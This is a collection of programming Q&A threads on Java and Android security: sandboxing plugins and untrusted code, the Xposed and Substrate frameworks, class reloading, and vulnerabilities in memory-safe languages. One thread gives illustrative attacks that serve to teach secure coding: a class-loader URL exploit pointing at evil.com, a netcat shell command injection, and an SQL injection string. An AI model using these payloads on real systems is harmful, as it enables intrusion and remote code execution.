I'm developing an Android application that allows plugins to run via OSGi (using Apache Felix). However, I want to enforce certain security aspects on a per-plugin basis. I.e. which Plugin is allowed to to access the filesystem. Also, I want to prevent reflection in general.
All the tutorials I've found so far refer to using OSGi security in combination with loading the standard Java SecurityManager. However, the latter doesn't exist on Android thus rendering the whole approach completely unusable.
I don't want to go as far as to use Bytecode Manipulation to prevent things from happening in the various plugins, as this would be both cumbersome and I could always miss something.
So, does anyone have any idea, how I could get a security architecture similar to standard Java security on Android?
Most importantly, how can I prevent reflection from being used?
But also, is there a way to prevent I/O access i.e. on a per thread basis?
Unless you are willing to modify the core OS, you can't. Android standard permissions can restrict access to files and APIs, but there is nothing to stop reflection. The OS uses it, so you if you block it completely things will break. Blocking by UID, process might be doable, but you'd have to modify the core Java API's implementation (in libcore).
A sandbox in a sandbox! It does not sound as a particular attractive idea for performance reason but as far as I know, the SecurityManager can still be set. So you could just set your own security manager and catch the checks as they go. However, this discussion indicates that the Android team feels not very confident about the quality of the base libs. (I would probably have removed all checks to gain some performance, but I nowadays feel the whole idea of in-process security is a solution that is simple, clear and wrong ...)
Related
In Android world, there are two popular injection/hijack/hooking frameworks :
Xposed and Android Substrate
The Xposed's mechanism is described in a development tutorial.
The author of Android Substrate compared the two frameworks in FAQ and here, but he didn't say how it works.
I just wonder:
How does Android Substrate work?
Jay Freeman(Saurik) in this post(http://www.cydiasubstrate.com/id/34058d37-3198-414f-a696-73e97e0a80db/) talks about the deference in xposed and substrate and also talks about how they deffer in the way they work its a great read.
Although the similarities are vast between the two frameworks, the actual implementation of hooking processes etc differs enough for you to be able to have both frameworks running side by side.
However, the biggest benefits that I can see for Substrate over XPosed, is the fact that XPosed removes the Java Security Model, while Substrate preserves it, as well as having the ability to wait for a class to be loaded before hooking a method as described in the following quote from #xmllmx answer regarding "Orthogonality";
To make this easier, Xposed provides a set of helpers for common use cases: you can hook when the VM starts, when Zygote takes control, when a particular package is loaded, or when a command line application is executed. You need to know which of these to use, and it is still unclear how you'd hook a class loaded via a dyamic runtime-created class loader (such as against downloaded code).
Substrate instead does away with all of this, thanks to MS.hookClassLoad, an API it provides that allows you to wait for particular classes to be loaded from any class loader at any time. This allows you to write hooks in a way that is less brittle to changes, less prone to simple mistakes, and less limited by how the developer of the target application decided to load their program's code.
In conclusion, in my opinion anyway, both frameworks a very similar and both viable options in achieving the same goal. The only major weighing fact which separates them is the timescales between when each was released. Where XPosed has been around for much longer and has been tried and tested and put through it's paces over the interim between the release of XPosed an the release of Cydia Substrate for Android, which Jay Freeman (Saurik) openly acknowledges
Regardless of this, Cydia Substrate is a powerful and extremely viable alternative to XPosed. Furthermore, you don't have to only limit yourself to developing for one of these frameworks, because (as mentioned previously) both frameworks can be installed on your device without conflict, so developing for both or simply trying it, will in no way hinder you from using your currently install XPosed Modules, Packages or Extensions.
I want to create a Java-based website that will execute completely untrusted code from third parties. This third-party code will need to be able to access websites on the Internet, but not, for example, attempt a DoS on them.
I can choose the language, but if its obscure it will hurt adoption of the service I'm building.
Can anyone provide some pointers as to open source tools I should investigate?
Are you thinking of something like the Google App Engine? They do this for Java by providing a "sandbox" where the app has access only to carefully restricted subset of the Java API. You might take a look at their JRE White List for ideas. (They also provide other languages.)
Yahoo App Platform and Amazon Web Services provide similar functionality, but not in Java (which, from your tag, I assume is your main interest).
The key to do this with Java code, of course, is defining a SecurityManager and then carefully specifying the policy. Aside from that, you'd host on a Linux system and use a chroot jail -- or better yet, a chroot jail on a virtualized system.
You don't have to worry about someone using your single server to launch a DDOS attack, though, by definition!
First things first, you need to build an excellent jail or sandbox for your application. Virtualization can help, but even within a guest VM there are a lot of operations you wouldn't want your untrusted code to perform.
So investigate mandatory access control such as AppArmor, SElinux, TOMOYO, or SMACK. Any of these can lock down your server code to only a subset of allowed operations. There are patches available that can lock your application to a subset of system calls that is probably worth investigating as well. (Since I've worked on AppArmor for almost a decade, it's the tool I know best. It's also the tool I think best suited for the task, but SMACK's utter simplicity is really appealing.)
You can perform rate limiting at the firewall level to try to limit the amount of outside annoyances that your code hosting can cause. Rate limiting isn't the same as preventing :) but it gives you an opportunity to see obvious attempts to do stupid things in your logs.
Wait you all.
There is no reason for #sanity to look for 3rd party solutions, because Java already has a policy mechanism which allows untrusted code to access only a given subset of the Java API. See package java.security and SecurityManager. It allows you to say the JVM, "this app must have permission to access this stuff but not this other one".
But I think #sanity wants to grant a given permission to run untrusted code, without allowing it to do harmful things with that permission...
I'm not sure if I understand your question. But from what I understand you just need the user to be able to execute code (in a java-based website, however the code doesn't need to be java), in that case have you considered letting the user execute only client-side code (ie javascript)? This way the only machine they can harm is their own. You can read more about how other websites handle malicious code here and you can read about the few dangers of letting users execute JS here.
I just recently finished reading Secure Coding in C and C++ by Brian Seacord, who works for CERT.
Overall, it's an excellent book and I would recommend it to any programmer who hasn't yet read it. After reading it, it occurs to me that for all the various types of security vulnerabilities (such as exploit code injection, buffer overflows, integer overflows, string formatting vulnerabilities, etc.), every single security hole seems to come down to one thing: the ability to access a memory address that isn't bounded by a buffer that was legitimately allocated by the process.
The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers. But in a language like Java, this is simply impossible. The worst that could happen is a program will terminate with an ArrayIndexOutOfBoundsException, leading to a denial-of-service.
So are there any security vulnerabilities possible in "safe" languages like Java, where invalid memory accesses are not possible? (I use Java as an example here, but really I'm interested in knowing about security vulnerabilities in any language that prevents invalid memory accesses.)
Of course a book focused on C / C++ will focus on the most common exploit. Memory tricks on the stack and so forth.
As for the "obvious" example of a language with plenty of security cavats without any direct memory access... hows PHP? Aside from the usual XSS, CSRF and SQL injection, you've got remote code injection on older versions of PHP because of include magic and so forth. I'm sure there are Java examples, but I'm not a Java security expert...
But because Java Security experts do exist, I'm sure there are cases that you have to worry about. (in particular, I'm sure SQL injection also plagues naive web Java Developers).
EDIT: off the top of my head, Java does have dynamic loading of classes through ClassLoader. If you were to write a custom class loader for some reason, and you didn't verify the .class files, then you would open your program up to code-injection. If this custom class loader somehow read classes from the internet, then it would also be possible to have remote code injections. And as strange as it sounds, this is pretty common. Consider Eclipse and its plugin framework. Very literally, it is loading downloaded code automatically and then running them. I admit, I don't know the architecture of Eclipse, but I bet you that security is a concern for Eclipse plugin developers.
The ability to inject malicious code, or reroute the program logic depends entirely on being able to access memory addresses that fall outside legitimately allocated buffers.
This strikes me as a narrow view of what is and isn't malicious. SQL Injection for example (or indeed any type of inject) doesn't require buffer overflows and generally injects malicious code into your system. However it's certainly possible; for example some managed languages will allow the NULL character in the middle of their managed string classes. There have been interesting bugs where the string was passed to the underlying OS, where the API is C/C++ driven and thus truncates the string at the first \0 it finds, which, for example, may allow you to wander around the file system at will due to truncation errors.
Then there's bad encryption, information leaks and all sorts of other fun security errors which don't involve buffers ...
Yes. This has happened more than once. Just because a language makes it hard to make an invalid access to memory doesn't automatically protect you from attacks. Also, there's also the whole "social engineering" thing that can make users run malicious programs without requiring any exploits at all!
The best thing you can do is to keep your software up to date, use programming practices that reduce bugs, fix serious bugs as soon as they're discovered, and educating users.
Here's an interesting security hole, argueably much more likely in a Java system than in a C++ system:
suppose a web framework uses reflection to set object fields from url parameters
/update?a=1&b[2]=2&c.x=3&c.y=4
very convenient and powerful. it allows traversal of any object graph...
when an attacker feeds it a URL like this
/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar
game over. the entire system is under the control of the attacker.
see http://seclists.org/fulldisclosure/2010/Jun/456
and I don't think it only happened to Spring. There are a lot of Java systems out there pretty much exposing their bellies to the open world.
From Sun's own Secure Coding Guidelines for the Java Programming Language, Version 3.0:
The Java platform has its own unique
set of security challenges. One of its
main design considerations is to
provide a secure environment for
executing mobile code. While the Java
security architecture can protect
users and systems from hostile
programs downloaded over a network, it
cannot defend against implementation
bugs that occur in trusted code. Such
bugs can inadvertently open the very
holes that the security architecture
was designed to contain...
Unchecked user input can lead to a lot of security holes:
stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");
if userName isn't validated, and comes from an external source, someone can easily provide their userName as "john' or userName != '" . Leading to exposure of all the data in your table.
Runtime.getRuntime().exec(command);
Same thing here. If command isn't validated and comes from external source, someone clever could run say
"/bin/sh | nc -l 10000" or the like, gaining shell access on the server. Or inject a C source program exploiting a local security hole and have command compile and run it right on the server.
So the virtual machine implementation just becomes the thing you need to find a vulnerability in. And if you think locking down VM implementations is easy, read this amazing account of the details of an exploit for the Action Script virtual machine and consider whether you could really ever guarantee such holes didn't exist.
There's tons of security exploits that can affect pretty much any language - some old exploits, some new.
An example of an old school exploit would be creating a temporary file with insecure permissions or in an insecure directory - resulting in information leaking or an attacker inserting their own info.
SQL injection exploits have been around for a long time as well (ie. passing unvalidated text from the user into the sql parser).
XSS type attacks are relatively new, and easy to create in any server programming language.
Java is more secure than C++ in memory exploits (due to explicit bound checking build-in the language). This eliminates the category of buffer overflow exploits.
BUT java is not perfectly safe.
Features build-in the language for the programmer's convience, can be used as part of malicious attack. E.g. using reflection a program can find out values of class variables and modify them (there are ways to override the security manager - at least so I have read).
Serialization has issues (check-out RMI vulnerabilities) and there are many APIs programmers use without worry that could result badly. E.g. APIs that use our program's classloader to load "untrusted?" libraries.
A lot of programming security vulnerabilities can be classified as injection attacks that are specific to a given language or framework. You've been reading specifically about injection attacks in C++, whereby a user can inject code via a buffer overflow or string formatting vulnerability. If you extend your research to HTML you'll find that cross-site scripting (injection of JS code) and SQL injection (injection of SQL queries) are pretty common. Take a look at PHP and you'll note that command level injection tends to be a regular issue.
Ultimately each language and framework has its problems. Be aware of them. And of-course, business logic security errors will continue to exist, regardless of the language, framework or OS that you use. For example, a shopping cart that allows a negative quantity of items to be purchased for a negative total amount will be a security problem simply due to poor programming skills.
Java programs don't run on thin air. It is a whole platform, and the programmers of this platform are just humans who make programming errors. While your Java code itself may be safe, you need the platform to run it, opening other attack vectors.
I'm disappointed that this one wasn't mentioned since the question pertains to Java, which is especially vulnerable to this sort of oversight:
In java Visibility is a key concern for a software developer trying to assure that his code is secure. Especially in the context of extendable frameworks where I'll frequently be running "foreign" code it is vital that I not overexpose information that I trust as valid.
If I've made something public that should, in fact, be private, I've introduce a potential vulnerability. If I pass a reference to an object that I'm actively using instead of a defensive copy, I might inadvertently expose data that the standard user shouldn't have access to. Sometimes you want the user to have a reference and not a copy, but if this is a piece of data that survives for a while, you'll want to consider making a copy just to ensure that you've got control of the data from that point forward.
Allowing someone a reference to a member data field in a class I'm treating as immutable, might cause interesting or bizarre behavior to occur. Data could be modified after I've done validity checking and sanitized it.
about a year ago I stumbled across a nice feature in Java that I cannot for the life of me find again.
Through some magic interface it was apparently possible to declare some classes or functions replaceable during runtime.
I found a nice example guide of someone who ran a simple little program that printed a certain message, he then updated the program using a method I cannot remember anymore and all of a sudden the program had replaced that old print function with a new one.
I've tried looking through the Java API to spark my memory as well as googling but without success. Can anyone here help?
Various app containers can do this.
Basically you'd need to reload the class in a new ClassLoader (unless you're talking about doing this under the debugger, in which case there are completely different APIs available).
In my opinion, this kind of thing is rarely worth the hassle: designing everything so that it can be reloaded is considerably harder than designing it so it can be completely restarted in a new process. It's also easier to be sure exactly what code is running if there's only ever one version loaded in the process.
It's a neat thing to be able to demo, but for most applications it's not worth it. All in my opinion, of course :)
Note that one notable exception is the ability to reload web UI layers without restarting the container: that can make life much easier.
The HotSwap technology was added to Java 1.4 and enable class file replacement at run-time. The feature is provide through the redefineClasses method of the instrumentation package. I think you can also do that through the JPDA interface.
Here is also a reference to what I believe is the research paper that describe the HotSwap mechanism first:
Towards Flexible and Safe Technology for Runtime Evolution of Java Language Applications
Otherwise you can use Classloader, as the other mentionned, but it only provides dynamic class loading, not replacement. The same class loaded twice will be considered as two different types. Combined with interface and/or a bit of reflection, it can however provide ways to update the application at run-time.
Here is a reference to an awesome paper about class loader, and there usage:
Dynamic Class Loading in the Java Virtual Machine
I won't expand on whether this is good or bad, because it was not your question, but I think it's great to have support for run-time software evolution -- too bad that JSR-117 never made it!
This is typically the kind of functionality I gladly leave to infrastructure as it is difficult to get right and easy to get wrong. As Jon mentioned above, most applications do not need it and for those that need it infrastructure is available.
Most application servers allow hot deployment nowadays, and equally most application servers are embeddable and allow them to be stripped down to remove features you do not need.
If it mainly for development, you should look a JRebel which provides this functionality transparently. I've heard they are working on a runtime solution, but I do not know if it is ready for primetime yet.
If you are really motivated to get this to work, then consider using OSGi. It has a steep learning curve, but once you grok it, it does most things right and works very well. I found the pax tools a good starting point but the eclipse toolchain also has good support for it.
It looks like GAE has chosen a subset of JDK 1.6 classes, as per:
Google App Engine JDK white list
which is very unfortunate as one gets class linkage errors all over the place with most common java libraries that deal with data binding, reflection, class loading and annotations. Although some omissions may be for deprecated or legacy things, there are others that are not. My specific concern is with streaming pull parsers (javax.xml.stream.*) which was just added to JDK 1.6 after a long delay (API was finalized at about same time as JDK 1.4). Omitting this makes it harder to do scalable high-performance xml processing.
Problem as I understand is that not only are classes missing, but they can not even be added because of security constraints.
So: this is an open-ended philosophical question that probably just GAE devs could answer for sure but... why are some APIs dropped from standard JDK 1.6, seemingly arbitrarily?
UPDATE:
Quick note: thanks for answers. For what it's worth I really do not see how security would have anything to do with not including javax.xml.stream.
Security aspects are relevant for great many other things (and I don't need threads, for example, and can see why they are out), so it's understandable boilerplate answer; just not applicable for this one.
Stax API is just a set of interfaces and abstract for crying out loud. But more importantly, it has exactly the same ramifications as including SAX, DOM and JAXP interfaces -- which are included already!
But it looks like this issue has been brought to attention of google devs:
discussion on whitelisting Stax API
so here's hoping that this and similar issues can be resolved swiftly.
GAE is run in a hosted environment with untrusted (and potentially malicious) clients, who often are given access for free.
In that type of environment, security is a very high concern, and APIs which have filesystem access get very heavy scrutiny. I think thats why they've chosen to start pretty conservatively in terms of what they allow.
It wouldn't surprise me at all if more classes find their way into the whitelist as security issues are addressed (and based on demand), though.
But I wouldn't even expect to get threading tools available, eg.
It's extremely doubtful that these things were dropped arbitrarily. GAE runs in an extremely security-sensitive environment, and the chances are good that an internal audit of the class libraries found some risks that Google was not willing to take.
As for your high-performance streaming XML parsers, you could try to find an appropriate library (jar file). Unless it relies on threads or file access (or black-listed API), it should work just as well as the one in the JDK.
There are a lot of (rather complex) libraries that work on GAE.